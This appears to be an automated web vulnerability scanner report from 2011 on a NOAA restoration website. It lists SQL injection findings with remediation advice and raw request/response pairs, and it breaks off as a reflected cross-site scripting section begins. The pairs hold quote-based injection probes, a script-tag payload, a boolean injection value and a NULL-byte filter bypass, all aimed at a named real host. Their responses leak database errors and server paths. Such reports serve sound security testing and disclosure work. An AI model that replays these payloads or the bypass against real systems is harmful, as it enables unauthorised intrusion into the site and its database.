SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon/factsheets?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 13:46:42 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Type: text/html Content-Length: 1292
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon/factsheets?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E'' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 13:46:43 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Type: text/html Content-Length: 590
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon'/factsheets HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:06:46 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Length: 1218 Connection: close Content-Type: text/html
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon''/factsheets HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:06:47 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Length: 516 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon/factsheets' HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:06:48 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Length: 1218 Connection: close Content-Type: text/html
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon/factsheets'' HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:06:48 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Length: 516 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
1.4. http://response.restoration.noaa.gov/deepwaterhorizon/factsheets [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://response.restoration.noaa.gov
Path:
/deepwaterhorizon/factsheets
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon/factsheets?1'=1 HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:06:38 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Length: 1222 Connection: close Content-Type: text/html
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon/factsheets?1''=1 HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:06:38 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Length: 520 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon'/noaaroles HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:06:45 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Length: 1217 Connection: close Content-Type: text/html
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon''/noaaroles HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:06:45 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Length: 515 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon/noaaroles' HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:06:46 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Length: 1217 Connection: close Content-Type: text/html
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon/noaaroles'' HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:06:46 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Length: 515 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
1.7. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://response.restoration.noaa.gov
Path:
/deepwaterhorizon/noaaroles
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /deepwaterhorizon/noaaroles?1'=1 HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:06:37 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Length: 1221 Connection: close Content-Type: text/html
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /deepwaterhorizon/noaaroles?1''=1 HTTP/1.1 Host: response.restoration.noaa.gov Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:06:38 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Length: 519 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /dwh.php'?entry_id=812 HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:24:30 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Type: text/html Content-Length: 1211
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /dwh.php''?entry_id=812 HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:24:31 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Type: text/html Content-Length: 509
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /favicon.ico' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:23:58 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Type: text/html Content-Length: 1202
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /favicon.ico'' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:23:59 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Type: text/html Content-Length: 500
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:41:42 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Type: text/html Content-Length: 1200
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /index.php'' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:41:44 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Type: text/html Content-Length: 498
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
1.11. http://response.restoration.noaa.gov/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://response.restoration.noaa.gov
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /index.php/1%00' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 02:41:28 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Type: text/html Content-Length: 1205
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /index.php/1%00'' HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 02:41:29 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Type: text/html Content-Length: 503
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /orr_search.php'?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for. HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 1
HTTP/1.1 404 Not Found Date: Sat, 26 Feb 2011 13:47:09 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Vary: Accept-Encoding Content-Type: text/html Content-Length: 1349
<br /> <b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b> ...[SNIP]...
Request 2
GET /orr_search.php''?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for. HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response 2
HTTP/1.1 302 Found Date: Sat, 26 Feb 2011 13:47:10 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for. Vary: Accept-Encoding Content-Type: text/html Content-Length: 647
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1 ...[SNIP]...
2. Cross-site scripting (reflected)previousnext There are 2 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
